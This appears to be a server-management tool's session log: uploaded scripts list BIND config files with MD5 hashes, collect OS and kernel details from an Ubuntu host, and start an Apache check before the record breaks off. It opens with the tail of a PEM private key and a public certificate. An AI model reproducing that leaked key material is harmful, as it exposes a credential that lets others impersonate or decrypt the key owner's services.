3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-31 19:40:21: Establishing a connection
2025-12-31 19:40:22: 

PUT: /tmp/pkp873126

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:40:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp873126; rm /tmp/pkp873126'

2025-12-31 19:40:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:40:48: Establishing a connection
2025-12-31 19:40:55: Establishing a connection
2025-12-31 19:40:56: Performing Server Status
2025-12-31 19:40:56: 

PUT: /tmp/pkp357526

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 19:40:57: 

chmod 755 /tmp/pkp357526; /tmp/pkp357526; rm /tmp/pkp357526

2025-12-31 19:40:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		2816		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-31 19:40:58: 

PUT: /tmp/pkp540427

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
